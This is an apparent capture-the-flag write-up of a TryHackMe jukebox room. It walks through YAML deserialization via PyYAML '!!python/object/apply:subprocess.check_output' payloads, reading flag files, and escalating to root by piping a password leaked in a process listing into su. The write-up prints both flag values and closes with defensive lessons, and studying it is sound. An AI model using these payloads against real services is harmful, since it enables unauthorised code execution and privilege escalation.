This writeup is part of a series going through TryHackMe's 2026 14-day Hacker Holidays daily challenge event
Background & Info from the Challenge Page
This challenge was rated Easy.
The category was Boot2Root and the associated tags were:
- Web
- Boot2Root
Concierge Briefing
Welcome back to the Byte Lotus — this time the sand is warm, the deck lights are coming up, and the beach bar's jukebox takes requests from anyone with a phone. You spend the evening as a guest at the rail who simply notices things: a DJ who never logs out, a song queue that accepts a little more than song titles, a service down the boardwalk quietly announcing "something".
The beachside guest-experience build shipped on a deadline, and the night-shift developer wired the jukebox straight into the floor with the trimmings still attached.
Room Access
- Lab Machine at [MACHINE_IP]
Today's Itinerary - Goals
- Find the user flag
- Find the root flag
Recon - Exploring the Jukebox Webapp
First look at the webapp: a simple page with a login form, meant for some DJ to manage music playlists. No other button or link on the page. Let's check the page source real quick.
Also pretty bare. No script.
However, there is a very useful HTML comment that straight up tells us the credentials to use: username and password both "dj".
Let's log in.
We are greeted with a dashboard displaying the status of a live DJ set. Nothing much happens on this page. Still no js scripts.
There are mainly 2 relevant links to note:
- Import -> leads to the /import page where a user can upload a music playlist in the YAML format.
- Export -> triggers the download of a playlist file in the YAML format.
Here's what the YAML file looks like, followed by the upload page.
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: Khruangbin
title: Maria Tambien
- artist: Men I Trust
title: Show Me How
- artist: Crumb
title: LocketThere are two ways to upload a file. I can either write the YAML right into that text area, or simply upload a yaml file back. Thankfully, the fact that we can download a sample yaml file shows us exactly the format the app expects, so that's one less thing that needs to be guessed.
Since this is all we have access to, the theory at this point is that some kind of injection via the file upload will be our way in.
Before trying just about anything, I wanted to glean some more information about the webapp we're dealing with. I used Burp Suite to upload the sample YAML back and analyze the request and response, but there wasn't much that was useful except for one detail, which was also viewable in the browser's webdev tools. The app uses gunicorn, which is a Python HTTP server:
A search for "gunicorn YAML injection" led me towards a few options. I decided to try the lowest hanging fruits first, seeing the difficulty tier of this challenge. The at the very top of the brave search result page, in the LeoAI summary for that search query, was this:
Key security considerations include:
Insecure Parsing: Using yaml.load() without a safe Loader or using yaml.unsafe_load() allows arbitrary code execution during YAML parsing.
Mitigation: Always use yaml.safe_load() for untrusted input to prevent instantiation of arbitrary Python objects.
Context: While Gunicorn is a WSGI HTTP server, the injection vector exists in the application logic it serves, not the server software itself.
Fingerprinting - Confirming PyYAML
This answer assumes the parser is PyYAML. To be fair, that's the most likely hypothesis (and the right answer here), but to confirm it is the case I'll inject something goofy in the yaml and see what we get back.
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: Khruangbin
title: [unclosedtag
...We upload that file back in and get this:
The way the error is written is what confirms PyYAML (or a fork that still uses the same error writing). We can do a web search for <unicode string>" yaml python and the results point us towards PyYAML, or towards yaml.parser.ParserError and yaml.scanner.ScannerError objects which are error classes from PyYAML.
Now we know the parser error tells us PyYAML is in play. The next step is to send valid YAML that will either fail if yaml.safe_load() is in use, or succeed if unsafe load is used. A good way to try to trip whether safe_load() is in use is to send YAML tags for python code. If we are not familiar with these, we can check the official PyYAML docs and we even get a warning about yaml.load() pretty early on:
Lower on the docs page we get a list of some valid python tags.
Confirming Unsafe YAML Load
A simple one first to confirm. Just putting !!python/none in one of the fields to see if the parser spits out a python None in return.
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: !!python/none
title: Maria Tambien
- artist: Men I Trust
title: Show Me How
- artist: Crumb
title: LocketResult on load:{'playlist': {'name': 'Sunset Session', 'vibe': 'golden hour', 'tracks': [{'artist': None, 'title': 'Maria Tambien'}, {'artist': 'Men I Trust', 'title': 'Show Me How'}, {'artist': 'Crumb', 'title': 'Locket'}]}}
We can see 'artist' has None as value. Looking good. Because yaml.safe_load() blocks all !!python/* tags, this confirms that yaml.load() is used. Time to abuse that fact with a more complex python tag. As can be seen in the docs page, there are many "complex python tags" usable within PyYAML, and although many (like os.* and builtins.eval) can get us to where we need to go, one does so in the simplest way: !!python/object/apply:module.f using subprocess as the python module.
RCE via subprocess.check_output
Writing in !!python/object/apply:subprocess.check_output to take [["pwd"]] as arguments looks like this in the YAML file we upload (or simply paste in the textarea box):
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: !!python/object/apply:subprocess.check_output
args: ["pwd"]
...Result:{'playlist': {'name': 'Sunset Session', 'vibe': 'golden hour', 'tracks': [{'artist': b'/opt/beach-bar/webapp\n'}, {'artist': 'Men I Trust', 'title': 'Show Me How'}, {'artist': 'Crumb', 'title': 'Locket'}]}}
The 'artist' key now has a directory path as value: /opt/beach-bar/webapp.
Capturing the User Flag
From here, getting to the user flag was trivial. Using ls, cd and cat to look around some key places, I finally found the flag at the homedir for the bartender user (can be found using whoami or simply moving to ~ and landing in a homedir with that name).
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: !!python/object/apply:subprocess.check_output
args: [["cat", "/home/bartender/user.txt"]]
...Result:{'playlist': {'name': 'Sunset Session', 'vibe': 'golden hour', 'tracks': [{'artist': b'THM{y4ml_pl4yl1st_pwns_th3_b34ch}\n'}, {'artist': 'Men I Trust', 'title': 'Show Me How'}, {'artist': 'Crumb', 'title': 'Locket'}]}}
Privilege Escalation - The Root Flag
My first assumption after finding the user flag in the user homedir was that the root flag was probably going to be in the root homedir. However, the user bartender does not have the permissions necessary to get there or read it.
To get more intel, I tried sudo -l but no dice, it returns a non-zero exit 1, meaning either the bartender is not in the sudoers group or there's a password required which we don't have.
With that hope of a potential shortcut to the next flag out of the way, we gotta try something else. Well what other info do we have? We know that the app is running from /opt/beach-bar which was the result of the first pwd command. If we inject ls -la to check the contents of that folder we discover:
- jukeboxd/ (owned by
systemd-coredump:ubuntu) - venv/ (root-owned)
- webapp/ (owned by
bartender- which is us!)
Since the user owns the webapp folder, we can ls inside to find a readable app.py file. It's the webapp's main file, and the one where yaml.load() happens. I tried editing the file to have it print out /root/root.txt but that was a dead end. Seems the server still runs the script as bartender which cannot read the root dirs. This makes sense when you look at the process list: the gunicorn master runs as root, but the workers run as bartender (--user bartender --group bartender) before importing app.py, so editing the file can't help.
At this point I tried everything I could think of that the unprivileged bartender user could do but that could also give me more information or hints of the wider system. The next clue came when I ran ps aux and inspected the running processes.
There was this peculiar process:root 619 0.0 0.2 20176 11736 ? Ss Aug15 0:00 /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
Seeing this made me want to actually read the jukeboxd.py which I probably should've done earlier. This is what it looked like:
#!/usr/bin/env python3
import argparse
import time
NOW_PLAYING = [
"Khruangbin - Maria Tambien",
"Men I Trust - Show Me How",
"Crumb - Locket",
"Mac DeMarco - Chamber of Reflection",
]
def main():
parser = argparse.ArgumentParser(description="Beach Bar jukebox streamer")
parser.add_argument("--stream-pass", required=True, help="stream backend password")
parser.add_argument("--bitrate", default="320k")
args = parser.parse_args()
i = 0
while True:
track = NOW_PLAYING[i % len(NOW_PLAYING)]
i += 1
time.sleep(30)
if __name__ == "__main__":
main()Looks like the script itself doesn't do much. The daemon takes --stream-pass argument, but then does nothing with it except sleep. It's just there for no reason, but this is a CTF challenge so that just means it's there to be found.
But of course, it's literally a password ("stream pass"). The daemon is also run as root. Turns out it's the root user's password.
Injecting "bash", "-c", "echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'" yields the root flag and completes this challenge.
Kill-Chain
| Step | Vector | Result |
| 1 | Recon: sample YAML round-trip + gunicorn header | App echoes parsed YAML; Python stack |
| 2 | [unclosedtag probe → "<unicode string>" error | PyYAML fingerprint |
| 3 | !!python/none → None | unsafe yaml.load() confirmed |
| 4 | !!python/object/apply:subprocess.check_output args: [["cat","/home/bartender/user.txt"]] | RCE as bartender → user flag |
| 5 | ps aux → jukeboxd.py --stream-pass SunsetSpritz2024! (root argv) | root password leak |
| 6 | echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt' | root flag |
Conclusion & Takeaways
This challenge was the first one where I started taking more notes, and started to refine a workflow that worked pretty well throughout the rest of the challenges, including the harder ones coming up.
It should show up better in future writeups, but I made sure not to get lazy when I got stuck and if something didn't make sense to me, either from unfamiliarity or logic-wise, I made sure to follow up and keep note of it as a weakness. Basically giving myself homework for later.
Moreover, starting on day 5, I've started keeping tracks of the main Q&As and lessons learned and began including them at the bottom of my writeups. I'd expected that as the challenges get harder, I didn't want to bang my head forever stuck, nor did I want to just feed the challenge to Kimi K3 and then move on.
The purpose is to learn or deepen knowledge and CTF reflexes, so it was important to bang my head a little, and then keep learning and take notes on what to practice more later for next time.
Questions Raised Along the Way (and Answers)
- Was
!!python/object/apply:subprocess.check_outputthe only payload? No — any callable works (os.system,os.popen,builtins.eval,subprocess.Popen,object/newvariant, reverse shell).check_outputwas just the cleanest for a reflected read. - Are
!!pythontags YAML standard? No — PyYAML extension. YAML spec only defines!!str/int/seq/map/.... Other languages have different tag families.
Some Lessons Learned
- Fingerprint before you fire: gunicorn header +
<unicode string>error → Python/PyYAML →!!python/*tags are on the table. Two independent clues. - Probe benign, then escalate:
!!python/tuple→!!python/object/apply:len→check_output. Never fire weapons blind. - Reflected reads need the right sink:
check_outputreturns stdout as a value;os.system/os.popendon't (for a flag-reading challenge, use check_output). - Read stderr: non-zero exit + no output = stderr was eaten. Always append
2>&1; truebefore concluding. - sudo exit 1 is a fork in the road: check sudoers; if dead, pivot —
su/SSH with a leaked credential is a separate vector. - Root processes' argv is world-readable:
ps aux//proc/<pid>/cmdlineleak secrets passed as command-line flags. Real daemons should take secrets from files/env with600perms, never--flag password. This was the entire root pivot. - File ownership ≠ execution identity: owning
app.pydoesn't matter if the process runs as another user; check what user actually imports/executes the code. - Challenge design note: the webapp gives you RCE as the app user (user flag), but the root flag is gated behind a credential; the YAML injection alone can't reach it. Two-phase box: RCE → credential leak → su.